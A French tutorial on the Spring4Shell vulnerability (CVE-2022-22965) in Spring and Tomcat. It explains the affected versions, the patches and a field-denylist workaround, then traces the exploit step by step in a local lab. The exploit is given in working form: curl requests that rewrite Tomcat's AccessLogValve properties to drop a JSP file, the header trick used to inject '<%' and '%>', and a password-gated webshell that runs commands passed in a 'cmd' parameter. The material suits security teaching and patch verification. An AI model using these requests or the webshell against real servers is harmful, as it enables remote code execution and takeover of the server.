Introduction à Spring(4)Shell
spring4shell intro
Spring4Shell (ou SpringShell) est une faille de sécurité importante, révélée le 29 mars, patchée le 31.
Il s'agit de la CVE-2022-22965, qui permet d'exécuter du code arbitraire sur le serveur (Remote Code Execution).
Les applications sont vulnérables si elles utilisent :
- les dépendences spring-webmvc ou spring-webflux
- du framework spring dans toutes les versions strictement inférieures aux 5.2.20 et 5.3.18 (Spring Boot 2.5.12 et 2.6.6)
- packagées en .war
- déployées sur Tomcat dans toutes les versions strictement inférieures aux 8.5.78, 9.0.62, 10.0.20
- qui s'exécutent avec Java en version 9 ou supérieure
Les solutions de contournement ou de patch sont décrites ici :
L'application "getting started, Handling Form Submission" est vulnérable : https://spring.io/guides/gs/handling-form-submission/
build
set JAVA_HOME=C:\Users\a.vergnaud\dev\jdk-11
C:\Users\a.vergnaud\dev\apache-maven-3.6.3\bin\mvn clean package
deploy
C:\Users\a.vergnaud\dev\apache-tomcat-9.0.60
run
http://localhost:8080/spring4shell-intro/greeting
http://192.168.0.31:8080/spring4shell-intro/greeting
exploit
curl
C:\Users\a.vergnaud\AppData\Local\Programs\Python\Python39\python.exe exp.py --url http://localhost:8080/spring4shell-intro/greeting
C:\Users\a.vergnaud\AppData\Local\Programs\Python\Python39\python.exe exploit.py --url http://localhost:8080/spring4shell-intro/greeting
C:\Users\a.vergnaud\AppData\Local\Programs\Python\Python39\python.exe exp.py --url http://192.168.0.31:8080/spring4shell-intro/greeting
C:\Users\a.vergnaud\AppData\Local\Programs\Python\Python39\python.exe exploit.py --url http://192.168.0.31:8080/spring4shell-intro/greeting
patch
- Upgrader en spring-core 5.2.20 (Spring Boot 2.5.12)
ou
- Upgrader en spring-core 5.3.18 (Spring Boot 2.6.6)
ou
- Upgrader Tomccat en 8.5.78, 9.0.62 ou 10.0.20
work-around
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#suggested-workarounds
- Utiliser Spring AOP
- Récupérer l'instance de WebDataBinder
- Lui interdire de bind les champs nommé "class"
Explication
setup
Spring
GreetingController.java :
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
model.addAttribute("greeting", greeting);
return "result";
}
Le framework Spring a la responsabilité d'instancier greeting
à partir du body de la requête HTTP :
Voilà une pile d'appels exécutée par l'application, au moment où elle valorise greeting
à partir du HTTP POST data :
(1) A l'exécution, on remarque que l'objet BeanWrapperImpl encapsule l'instance greeting
, et référence 3 propertyDescriptors
:
- "id"
- "content"
- et "class" !
On voit que Spring conserve une référence à l'objet Class de l'instance greeting
:
(2) Spring peut aussi d'accéder à des attributs imbriqués. Cette fonctionnalité est founrnie par la classe AbstractNestablePropertyAccessor
curl -X POST \
-F 'id=1234' \
-F 'content=some_content' \
-F 'someNestedPOJO.test=some_test_value' \
http://2020P062.local:8080/spring4shell-intro/greeting
Côté serveur, Spring alimente bien la référence à SomeNestedPOJO :
Dans la pile d'appels, la valorisation des properties et nested properties est faite par AbstractNestablePropertyAccessor.setPropertyValue
(3) Encore plus haut dans la pile d'appels, la méthode WebDataBinder.doBind
appelle WebDataBinder.checkAllowedFields
Cela permet de comprendre une solution de contournement proposée par Spring :
En effet, on va voir que la faille de sécurité provient de cet accès à la référence de Class. Donc En AOP, on récupère le WebDataBinder, pour interdire à Spring de valoriser cette property.
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
Point de situation
On sait que :
- Spring valorise les attributs passés en HTTP POST (un utilisateur les envoie à travers le formulaire)
- Spring valorise les attributs du POJO
@ModelAttribute Greeting greeting
ET un attributclass
de type Class- Spring peut valoriser des nested properties pour tous ces attributs
→ Est-ce qu'on pourrait valoriser certains attributs intéressants imbriqués sous
class
?
Tomcat (et jdk9+)
Depuis GreetingController.java :
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
model.addAttribute("greeting", greeting);
return "result";
}
On peut accéder à ces objets :
- greeting.getClass()
- greeting.getClass().module
- greeting.getClass().module.getClassLoader()
- greeting.getClass().module.getClassLoader().resources
- greeting.getClass().module.getClassLoader().resource.context
StandardEngine[Catalina].StandardHost[localhost].StandardContext[/spring4shell-intro]
- greeting.getClass().module.getClassLoader().resource.context.parent
StandardEngine[Catalina].StandardHost[localhost]
- greeting.getClass().module.getClassLoader().resources.context.parent.pipeline
- greeting.getClass().module.getClassLoader().resources.context.parent.pipeline.first
La vulnérabilité est spécifique au conteneur de Servlet Apache Tomcat, parce-que :
- le ClassLoader est un org.apache.catalina.loader.WebappClassLoaderBase
- ce WebappClassLoaderBase a une méthode getResources() qui à son tour expose une grappe d'objet, incluant une instance de
AccessLogValve
.
AccessLogValve écrit des logs. On peut setter certaines propriétés, pour lui demander d'écrire ce qu'on veut, où on veut.
- pattern : "The pattern used to format our access log lines"
- suffix : "Set the log file suffix."
- directory : "Set the directory in which we create log files."
- prefix : "The prefix that is added to log file filenames."
- fileDateFormat : "Date format to place in log file name."
Point de situation
On sait que :
- Spring valorise les attributs passés en HTTP POST (un utilisateur les envoie à travers le formulaire)
- Spring valorise les attributs du POJO
@ModelAttribute Greeting greeting
ET un attributclass
de type Class- Spring peut valoriser des nested properties pour tous ces attributs
→ Est-ce qu'on pourrait valoriser certains attributs intéressants imbriqués sous
class
?
Point de situation
Une requête comme celle ci-dessous devrait permettre d'écrire n'importe quel fichier sur le filesystem !
curl -X POST \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=CONTENU_DU_FICHIER' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring4shell-intro' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=NOM_DU_FICHIER' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \ http://2020P062.local:8080/spring4shell-intro/greeting
C'est le cas. On observe d'ailleurs qu'un "access log" est bien créé à chaque requête...
Exploit
- D'abord on va écrire une .jsp.
- Ensuite on va écrire un webshell
Première tentative :
curl -X POST \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%System.out.println(123);%>' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring4shell-intro' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://2020P062.local:8080/spring4shell-intro/greeting
retourne une erreur :
Warning: skip unknown form field: %>
curl: (26) Failed to open/read local data from file/application
On veut écrire <%
et ;%>
dans le fichier de "log", mais curl interprète ces caractères...
- tentative avec urlencode : KO
- tentative avec
--form-string
: KO
Solution : la documentation du logger Tomcat AccessLogValve nous dit :
%{xxx}i write value of incoming header with name xxx (escaped if required)
Ecriture de .jsp réussie :
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED")%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring4shell-intro' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://2020P062.local:8080/spring4shell-intro/greeting
Résultat : http://2020p062.local:8080/spring4shell-intro/rce.jsp
Exploit avec un webshell. On veut écrire un code de ce type dans la .jsp :
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException {
/* début du payload : */
if ("j".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
out.println(new String(b));
}
}
/* fin du payload */
}
Ce payload est trop compliqué à envoyer en curl/bash. On utilise exploit.py
.